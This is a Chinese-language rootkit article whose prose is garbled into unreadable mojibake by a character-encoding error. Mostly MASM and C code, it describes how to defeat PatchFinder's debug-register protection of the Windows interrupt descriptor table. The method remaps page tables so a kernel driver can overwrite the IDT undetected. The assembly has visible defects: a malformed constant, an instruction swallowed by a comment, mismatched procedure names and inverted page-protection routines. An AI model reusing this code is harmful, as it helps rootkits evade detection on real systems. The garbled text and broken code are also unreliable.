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EPA»ùÓÚIntel´¦ÀíÆ÷µÄµ¥²½Ä£Ê½£¬Ê¹ÓÃÖжÏÃèÊö·û±í(IDT)µÄ0x01Èë¿Ú¡£ÎªÁË·ÀÖ¹RootkitÐÞ¸ÄÕâ¸öÈë¿Ú£¬ËüʹÓõ÷ÊԼĴæÆ÷(DR0¡¢DR1)À´±£»¤µ÷ÊÔ´¦Àí³ÌÐò(ºÜ²»´íµÄÖ÷Òâ)¡£ÓÉDR0¼Ä´æÆ÷±£»¤0x1Èë¿Ú£¬¶øÓÉDR1¼Ä´æÆ÷±£»¤Öжϴ¦Àí³ÌÐò¡£(×¢1£º)
µ«ÊÇ£¬ÈÃÎÒÃÇÔÙ¶ÁÒ»±éInter Manual [3]£º¡°Ã¿¸öµ÷ÊÔµØÖ·¼Ä´æÆ÷(DR0µ½DR3)±£´æ32λµÄ¶ÏµãµÄÏßÐÔµØÖ·¡±¡£×¢Ò⣺ÏßÐÔµØÖ·£¡ÔÚWindows 2000/XPÏ£¬Í¨¹ý·ÖÒ³»úÖÆ°ÑÏßÐÔµØַת»»ÎªÎïÀíµØÖ·¡£¼ÙÉèIDTµÄ»ùµØÖ·ÊÇÔÚ0x8003F400£¬±£´æÔÚIDTRÖУ¬ÄÇôIDTµÄ0x01Èë¿ÚµØÖ·¾ÍÊÇ0x8003F408¡£IntelÓйØIDTRµÄ˵Ã÷£º¡°»ùµØÖ·±êÃ÷ÁËIDTµÄ0x00Èë¿ÚµØÖ·¡£¡±WIndows 2000/XPÏÂÓÉCR3¼Ä´æÆ÷Ö¸ÏòµÄҳĿ¼±»Ó³Éäµ½ÏßÐÔµØÖ·0xC0300000¡£ÏßÐÔµØÖ·ÊÇÓÉĿ¼¡¢±íºÍÆ«ÒÆ×é³É£¬Í¨¹ý·ÖÒ³»úÖÆÎÒÃǽ«0x8003F408ת»»ÎªÎïÀíµØÖ·¾ÍÊÇ0x03F00(ÓÉʵÑéÖеÃÀ´)¡£ÏÖÔÚÎÒÃÇÒª×öµÄ¾ÍÊÇ´´½¨Ò»¸ö»º³åÇø£¬»ñÈ¡Ö¸Ïò»º³åÇøµÄÖ¸Õë²¢ÐÞ¸ÄҳĿ¼ºÍÒ³±íʹÕâ¸ö»º³åÇøÖ¸ÏòÎïÀíµØÖ·0x03F00¡£È»ºó£¬ÏòÕâ¸ö»º³åÇøÖÐдÈëµÄ¶«Î÷¾Í»áдÈëIDT£¬²¢ÇÒ²»»á´¥·¢PatchFinderµÄ±£»¤»úÖÆ¡£µ÷ÊԼĴæÆ÷ÊǸù±¾ÎÞ·¨±£»¤ÄÚ´æµÄ£¬ÒòΪËüÃÇÎÞ·¨±£»¤ÎïÀíÄÚ´æ¡£
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ÕâÀïÊÇÔ´´úÂ룬ÓÉMASM v8.0»ã±à¡£ÒòΪÎÒϲ»¶»ã±àÓïÑÔ:-)ÍêÈ«µÄÔ´´úÂë¿ÉÒÔÔÚwww.rootkit.comÕÒµ½¡£
;---¶¨ÒåIDTR½á¹¹-------
DIDTR STRUCT ;IDTR
dLIMIT WORD ?
ibase DWORD ?
DIDTR ENDS
;-----------------------
ByepassIDTProtection PROC
LOCAL dbgHandler:DWORD
LOCAL myIDT:DIDTR
LOCAL idtbase:DWORD
LOCAL idtbaseoff:DWORD
LOCAL idtPDE:DWORD
LOCAL idtPDEaddr:DWORD
LOCAL idtPTE:DWORD
LOCAL idtPTEaddr:DWORD
LOCAL varbase:DWORD
LOCAL varbaseoff:DWORD
LOCAL varPDE:DWORD
LOCAL varPDEaddr:DWORD
LOCAL varPTE:DWORD
LOCAL varPTEaddr:DWORD
LOCAL diffoffset:DWORD
pushad
;·ÖÅäÒ»¸öÒ³´óСµÄÄÚ´æ(´Ó·Ç·ÖÒ³³ØÖзÖÅä)
invoke ExAllocatePool,NonPagedPoolMustSucceed,01000h
mov varbase,eax
cli ;¼ÇµÃ»Ö¸´
invoke DisablePageProtection ;¶ÔXP,RegmonʹÓõÄÒ»¸öºÜÀϵļ¼ÇÉ
sidt myIDT
mov eax,myIDT.ibase
add eax,08h
mov idtbase,eax ;idtbase = IDTµÄ»ùµØÖ· + 8×Ö½Ú
and eax,0FFC00000h ;»ñÈ¡IDTµØÖ·µÄĿ¼Ë÷Òý
shr eax,22
shl eax,2 ;³ËÓë4
mov ebx,0C0300000h ;0C0300000 = ҳĿ¼
add ebx,eax ;ebx = [ҳĿ¼ + Ŀ¼Ë÷Òý*4]
mov idtPDEaddr,ebx
mov eax,[ebx]
mov idtPDE,eax ;eax = IDTµØÖ·µÄҳĿ¼Èë¿Ú(PDE)
mov eax,idtbase
and eax,oFFFh ;»ñÈ¡IDTµØÖ·µÄµÍ12λ = Ò³ÄÚÆ«ÒÆ mov idtbaseoff,eax
mov eax,idtbase
shr eax,12 ;»ñÈ¡IDTµØÖ·µÄ¸ß12λ
shl eax,2 ;³ËÓë4
mov ebx,0C0000000h ;½ø³ÌÒ³±íÓ³ÉäÔÚ0xC0000000¿ªÊ¼µÄ4MB¿Õ¼äÖÐ
add ebx,eax
mov idtPTEaddr,eax ;IDTµØÖ·µÄPTEµÄµØÖ·
mov eax,[ebx]
mov idtPTE,eax ;È¡¸ÃµØÖ·µÄPTE
mov eax,varbase
and eax,0FFC00000h ;»ñÈ¡varbaseµÄҳĿ¼Ë÷Òý
shr eax,22
shl eax,2
mov ebx,0C0300000h
add ebx,eax
mov varPDEaddr,ebx
mov eax,[ebx]
mov varPDE,eax
mov eax,varbase
and eax,0FFFh
mov varbaseoff,eax
mov eax,varbase
shr eax,12
shl eax,2
mov ebx,0C0000000h
add ebx,eax
mov varPTEaddr,ebx
mov eax,[ebx]
mov varPTE,eax
mov eax,varPDEaddr ;ÐÞ¸ÄPDEΪºÍIDT0x01µÄÒ»Ñù
mov ebx,idtPDE
mov [eax],ebx
mov eax,varPTEaddr ;ÐÞ¸ÄPTEΪºÍIDT0x01µÄÒ»Ñù
mov ebx,idtPTE
mov [eax],ebx
mov ebx,idtbaseoff ;ÐÞÕýÒ³ÄÚÆ«ÒÆ
mov eax,varbaseoff
sub ebx,eax
;ÏÖÔÚÎÒÃÇ¿ÉÒÔʹÓÃÏßÐÔµØÖ·ÏòIDTµÄ0x01ÃèÊö·ûÄÚдÈ붫Î÷¶ø²»»á´¥·¢µ÷ÊԼĴæÆ÷
mov eax,varbase
mov dword ptr [eax+ebx],0DEADBEEFh
mov eax,varPDEaddr ;»Ö¸´ÔÀ´µÄÖµ
mov ebx,varPDE
mov [eax],ebx
mov eax,varPTEaddr ;»Ö¸´ÔÀ´µÄÖµ
mov ebx,varPTE
mov [eax],ebx
invoke EnablePageProtection ;»Ö¸´CR0¼Ä´æÆ÷µÄWP±êÖ¾
sti
popad
ret
BypassIDTProtection ENDP
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
EnablePageProtection PROC
push eax
mov eax,CR0
and eax,0FFFEFFFFh
mov CR0,eax
pop eax
ret
EnablePageProtection ENDP
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
DisablePageProtection PROC
push eax
mov eax,CR0
or eax,NOT 0FFFEFFFFh
mov CR0,eax
pop eax
ret
DisablePageProtection ENDP
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
[RootkitµÄδÀ´]
ºÜ²»ÐÒ£¬ÕâÖÖ·½·¨Ê¹EPA±äµÃûÓá£Èç¹û΢Èí²»¸Ä±äËüµÄ°²È«½á¹¹£¬Ã»ÓÐÒ»ÖÖ°ì·¨ÄÜÔÚδÀ´×èÖ¹rookits¡£Î´À´µÄrootkit»áÔÚ·ÖÒ³»úÖÆÉÏ´óÓÐ×÷Ϊ£¬ÕâÖÖÓÐÎÞÏÞÖÖ¿ÉÄÜÐÔ¡£Ò»µ©½øÈëRing 0£¬ÄÇôÓÀÔ¶ÔÚRing 0¡£
[²Î¿¼]
[1] Joanna Rutkowska,Advanced Windows 2000 Rootkit Detection(¸ß¼¶Rootkit¼ì²â¼¼Êõ)
[2] Joanna Rutkowska,Detecting Windows Server Compromises with PatchFinder2
[3] IA32 Intel Architeture Softwares Developers Manual, vol 1-3
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Õâ¸öͼÎÞ·¨»³ö£¬¾ÍÊÇ»³öÁ˶ÁÕßÒ²²»Ò»¶¨ÄÜ¿´µÃÃ÷°×(ÒòΪ»µÄʵÔÚÌ«¼òµ¥ÁË-_-)¡£ÎÒÔÚÕâÀï²¹³äÒ»ÏÂÓõ÷ÊԼĴæÆ÷±£»¤µØÖ·µÄÔÀí¡£Ê×ÏÈÊÇDR0-DR4Õâ4¸öµ÷ÊԼĴæÆ÷±£´æÁË4¸öÏßÐÔµØÖ·£¬È»ºóͨ¹ýDR7¼Ä´æÆ÷µÄÏà¹Øλ²¢¼ì²éDR6¼Ä´æÆ÷µÄÏà¹ØλÀ´¶ÔÕâ4¸öµØÖ·½øÐÐÏà¹Ø²Ù×÷¡£²Î¿¼ÒÔÏ´úÂë:
#define DB_PROT_EXEC 0
#define DB_PROT_WRITE 1
#define DB_PROT_RW 3
#define DB_DR0 0
#define DB_DR1 1
#define DB_DR2 2
#define DB_DR3 3
#define DB_LEN_1B 0
#define DB_LEN_2B 1
#define DB_LEN_4B 3
int dbProtect (int reg, int addr, int len, int protection) {
unsigned int dr7mask;
switch (reg) {
case 0:
__asm {
mov eax, addr;
mov DR0, eax;
}
break;
case 1:
__asm {
mov eax, addr;
mov DR1, eax;
}
break;
case 2:
__asm {
mov eax, addr;
mov DR2, eax;
}
break;
case 3:
__asm {
mov eax, addr;
mov DR3, eax;
}
break;
}
dr7mask = 0x2<<(reg*2);
dr7mask |= (( (len<<2) + protection) << (16+(4*reg)));
__asm {
mov eax, DR7;
or eax, dr7mask;
mov DR7, eax;
}
return 1;
}
int dbSetGeneralProtection () {
__asm {
mov eax, DR7;
or eax, 0x1000;
mov DR7, eax;
}
return 1;
}
È»ºóÔÚÖжϴ¦Àí³ÌÐòÖл¹Òª¼ÓÈëÏÂÃ漸¾ä´úÂë:
mov eax, DR6;
test ax, 0x100f; // BD |B3|B2|B1|B0
.
.
mov eax, DR6; // ¼ì²éDR6µÄBS(µ¥²½)λ
test ah, 0x40;
×îºó¾ö¶¨¶Ô3¸öµØÖ·½øÐв»Í¬³Ì¶ÈµÄ±£»¤:
dbProtect (DB_DR0, (int)getIntGateAddr(NT_DEBUG_INT), DB_LEN_4B, DB_PROT_WRITE);
dbProtect (DB_DR1, (int)getIntGateAddr(NT_DEBUG_INT)+4, DB_LEN_4B, DB_PROT_WRITE);
dbProtect (DB_DR2, (int)NewDebugHandler1, DB_LEN_4B, DB_PROT_RW);
¶ÔDR6ºÍDR7Ïà¹ØλµÄ×÷Óò»Ì«ÊìϤµÄ¿ÉÒÔÈ¥²éIntelµÄÊÖ²á15.2½Ú<Debug Registers>¡£
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